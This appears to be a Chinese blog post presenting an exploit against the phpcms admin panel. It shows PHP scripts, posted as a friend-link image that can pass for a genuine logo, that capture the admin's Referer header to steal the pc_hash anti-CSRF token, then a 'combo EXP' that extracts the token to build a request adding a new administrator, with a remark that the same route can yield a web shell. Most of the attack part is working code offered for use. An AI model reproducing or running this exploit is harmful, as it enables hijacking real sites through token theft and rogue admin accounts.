众所周知phpcms登录后台后,有一个pc_hash作为防范CSRF的TOKEN,且看我怎么利用一个组合技来进行CSRF攻击的。
phpcms安装好后默认允许申请友情链接。而且友情链接分两种:文字链接和图片链接。
其中图片链接,管理员在审核的时候,图片会直接显示后台。而后台url中是包含这个pc_hash的,我们就能在图片的referer里找到这个pc_hash~~岂不妙哉?
首先我在本地简单写了一个获得referer的脚本:
[php]
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
file_put_contents('referer.txt', $referer,FILE_APPEND);//多个目标,追加
?>
[/php]
然后把这个脚本作为图片地址,申请友链:
实战中,我们还可以把这个做的像一点。比如用php输出一张真正的logo,这样不但获得了pc_hash,而且还像一个真的申请友链的请求。
[php]
function writeGifData() {
$file = dirname(__FILE__) . '/logo.gif';
readfile($file);
exit;
}
writeGifData();
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
file_put_contents('referer.txt', $referer,FILE_APPEND);
?>[/php]
这时我本地已经获得了referer了:
其实,我们需要的仅仅是一个pc_hash,得到了pc_hash可以干嘛呢..
组合技EXP:
[php]
/*
常规的思路。申请友情连接就会去查看会跳转。获取了pc_hash就可以发起csrf攻击
1.获取来路 referer //包含了pc_hash
2.截取pc_hash
3.调用csrf
*/
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
file_put_contents('referer.txt', $referer,FILE_APPEND);
$a=parse_url($_SERVER['HTTP_REFERER']);
//echo $a;
//有时可能只需要获取到域名和IP即可,那么可以使用parse_url($_SERVER['HTTP_REFERER']);
$domain =$a[host]; //获取域名
//由于获取的不恰当,利用数组分割了两次
$str = str_replace("/n","&",str_replace("/r", "",$referer));
$array = array();
parse_str($str, $array);
$hach = $array['pc_hash']; //得到pc_hash
//echo "http://".$domain."/index.php?m=admin&c=admin_manage&a=add&pc_hash=".$hach;
?>
[/php]
一旦管理员审核的时候,去点击这个链接,就添加了一个管理员。当然也可以利用这个一样的过程去写一个getshell的页面.
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论